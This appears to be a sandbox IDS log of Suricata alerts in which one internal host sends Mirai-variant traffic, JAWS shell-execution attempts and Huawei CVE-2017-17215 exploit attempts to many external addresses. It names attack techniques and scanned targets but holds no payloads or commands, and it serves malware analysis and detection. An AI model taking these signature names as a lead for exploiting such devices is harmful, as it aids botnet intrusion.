Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:49098 -> 219.124.101.191:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:41976 -> 32.243.4.33:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:41976 -> 32.243.4.33:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:40154 -> 103.172.236.139:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:40154 -> 103.172.236.139:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:34930 -> 50.174.166.7:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:34930 -> 50.174.166.7:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41084 -> 156.12.1.123:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60000 -> 41.63.44.18:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43292 -> 156.223.162.115:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55226 -> 41.88.128.241:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33328 -> 197.71.120.86:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39370 -> 41.99.242.230:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41240 -> 156.225.22.253:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58744 -> 41.180.130.242:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35772 -> 197.191.245.38:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52392 -> 197.182.19.162:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52950 -> 156.55.180.225:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42848 -> 41.175.68.121:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49802 -> 156.46.13.57:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36088 -> 197.171.102.195:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37734 -> 156.244.153.180:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43722 -> 197.50.34.79:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36896 -> 197.103.208.53:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34772 -> 156.134.211.68:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36912 -> 41.158.143.19:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:51598 -> 211.63.227.161:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:51598 -> 211.63.227.161:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:56316 -> 86.228.157.254:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:56316 -> 86.228.157.254:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46392 -> 41.227.124.233:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52606 -> 156.107.19.155:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:33456 -> 113.2.250.15:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:33456 -> 113.2.250.15:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:46994 -> 164.58.176.234:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:46994 -> 164.58.176.234:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:50534 -> 137.132.80.203:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:50534 -> 137.132.80.203:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46706 -> 197.24.241.187:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57704 -> 156.148.227.108:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:32802 -> 197.184.43.108:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:57600 -> 46.194.105.28:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:49888 -> 25.106.63.88:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:57600 -> 46.194.105.28:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:35452 -> 69.220.86.47:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:46934 -> 111.185.169.137:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:46934 -> 111.185.169.137:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:49888 -> 25.106.63.88:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42168 -> 41.114.15.245:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:45986 -> 116.146.162.253:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:45986 -> 116.146.162.253:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:42056 -> 99.52.36.64:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:49450 -> 208.22.142.137:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:57202 -> 104.234.182.98:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:49450 -> 208.22.142.137:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:57202 -> 104.234.182.98:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:33700 -> 213.166.156.152:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35230 -> 156.159.35.207:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:58796 -> 145.226.147.93:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:50418 -> 159.173.59.75:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:34748 -> 40.39.22.91:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:58796 -> 145.226.147.93:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:46900 -> 216.35.1.242:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:35452 -> 69.220.86.47:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:42056 -> 99.52.36.64:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:34888 -> 135.136.191.113:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:49380 -> 153.78.202.93:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:34888 -> 135.136.191.113:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:34748 -> 40.39.22.91:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:50418 -> 159.173.59.75:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:49212 -> 111.171.81.116:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:46900 -> 216.35.1.242:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:49212 -> 111.171.81.116:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:46152 -> 140.38.79.111:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:33700 -> 213.166.156.152:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:35364 -> 86.12.127.77:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:35364 -> 86.12.127.77:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:59460 -> 63.123.128.167:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:49380 -> 153.78.202.93:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:59460 -> 63.123.128.167:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:39102 -> 131.125.12.195:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:46152 -> 140.38.79.111:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:39102 -> 131.125.12.195:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:43814 -> 67.162.169.69:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:43814 -> 67.162.169.69:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:60262 -> 176.40.25.167:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:60262 -> 176.40.25.167:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:44592 -> 82.95.255.220:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:44592 -> 82.95.255.220:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:59464 -> 97.108.248.57:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:59464 -> 97.108.248.57:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:36284 -> 68.138.249.105:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:36334 -> 51.121.157.167:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:36284 -> 68.138.249.105:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:36334 -> 51.121.157.167:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:39344 -> 106.111.211.33:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:39344 -> 106.111.211.33:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:46078 -> 118.14.191.105:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:46078 -> 118.14.191.105:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:45290 -> 111.106.104.90:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:45290 -> 111.106.104.90:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:55186 -> 155.79.148.101:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:55186 -> 155.79.148.101:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55780 -> 41.228.115.4:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43674 -> 197.9.76.181:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57302 -> 156.214.44.44:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59118 -> 197.254.126.85:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33376 -> 156.151.148.196:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56618 -> 197.8.214.252:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60046 -> 41.184.175.181:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:58282 -> 74.171.106.18:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:58282 -> 74.171.106.18:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:47102 -> 181.254.228.55:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:40064 -> 54.213.244.240:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:47102 -> 181.254.228.55:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:40064 -> 54.213.244.240:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37908 -> 197.96.93.111:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:47466 -> 122.13.196.224:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:47466 -> 122.13.196.224:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:33008 -> 176.169.106.94:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:58638 -> 109.75.255.126:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:58638 -> 109.75.255.126:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:33008 -> 176.169.106.94:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47546 -> 156.252.210.42:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45934 -> 197.9.163.93:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42100 -> 197.1.154.8:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45874 -> 156.100.169.193:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46892 -> 41.47.169.228:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33490 -> 197.45.184.16:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56234 -> 156.207.40.203:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42806 -> 156.59.247.233:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:39324 -> 157.66.26.133:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:39324 -> 157.66.26.133:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:51194 -> 183.49.180.198:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:51194 -> 183.49.180.198:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:45462 -> 161.177.19.110:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:45462 -> 161.177.19.110:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:50350 -> 103.15.169.120:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47334 -> 41.226.182.138:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45658 -> 156.156.231.215:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34000 -> 197.50.204.108:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:36158 -> 17.53.148.118:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:36158 -> 17.53.148.118:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:40946 -> 136.9.224.154:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:40946 -> 136.9.224.154:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:51854 -> 158.45.248.238:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:45788 -> 209.240.8.31:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:45788 -> 209.240.8.31:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:41976 -> 39.80.51.83:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:41976 -> 39.80.51.83:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59256 -> 41.69.12.241:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39060 -> 156.95.194.162:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35414 -> 41.139.128.121:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:51344 -> 210.33.198.143:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:51344 -> 210.33.198.143:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:50350 -> 103.15.169.120:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57582 -> 197.119.158.61:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:51594 -> 213.22.86.216:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:51594 -> 213.22.86.216:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:51854 -> 158.45.248.238:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:35150 -> 69.97.231.242:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:35150 -> 69.97.231.242:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:39244 -> 107.143.239.88:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:39244 -> 107.143.239.88:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:50562 -> 92.185.193.235:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:50562 -> 92.185.193.235:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:36790 -> 24.165.61.194:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:36790 -> 24.165.61.194:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39294 -> 156.104.210.113:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:51210 -> 13.41.23.98:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:51210 -> 13.41.23.98:80
